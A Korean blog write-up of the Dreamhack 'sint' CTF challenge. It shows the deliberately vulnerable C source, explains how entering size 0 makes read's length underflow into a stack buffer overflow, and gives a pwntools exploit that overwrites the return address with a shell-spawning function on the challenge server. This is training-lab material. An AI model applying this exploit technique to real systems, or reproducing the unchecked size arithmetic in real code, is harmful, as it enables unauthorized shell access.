문제 코드
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler()
{
puts("TIME OUT");
exit(-1);
}
void initialize()
{
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
void get_shell()
{
system("/bin/sh");
}
int main()
{
char buf[256];
int size;
initialize();
signal(SIGSEGV, get_shell);
printf("Size: ");
scanf("%d", &size);
if (size > 256 || size < 0)
{
printf("Buffer Overflow!\n");
exit(0);
}
printf("Data: ");
read(0, buf, size - 1);
return 0;
}
코드 설명
signal 함수에서 SIGSEGV 신호 (Segmentation fault) 발생 시 get_shell 함수가 실행된다
int형으로 선언된 size에 입력을 받고 256 보다 크거나 0보다 작은지 검사를 하고 있다 이 경우 버퍼 오버플로우 검사를 하는 것으로 보인다
그러나 read함수의 3번째 인자로 size - 1이 오고 있고 size에 0이 들어갈 시 read함수의 3번째 인자에는 음수값이 들어간다
이때 read함수의 3번째 인자의 원형은 부호없는 size_t 이므로 언더플로가 일어난다
즉 BOF가 발생
익스 설계
size에 0을 입력하고 buf에 입력 받을 때 ret를 get_shell로 덮거나 쓰레기 값을 넣어 SIGSEGV 신호를 일으킨다
익스
from pwn import*
p = remote('host3.dreamhack.games', 9365)
e = ELF('./sint')
get_shell = e.symbols['get_shell']
p.sendlineafter(b'Size: ', str(0).encode())
payload = b'A'*264
payload += p32(get_shell)
p.sendafter(b'Data: ', payload)
p.interactive()
쉬우니까 행복하다
'System Hacking' 카테고리의 다른 글
[Dreamhack] validator 풀이 - 티스토리 (0) | 2023.08.30 |
---|---|
[Dreamhack] command injection, cmd_center 풀이 - 티스토리 (0) | 2023.08.22 |
[Dreamhack] tcachee_dup2 풀이 - 티스토리 (0) | 2023.08.21 |
[Dreamhack] tcache dup 풀이 - 티스토리 (0) | 2023.08.17 |
[Dreamhack] Tcache Poisoning 풀이 - 티스토리 (0) | 2023.08.17 |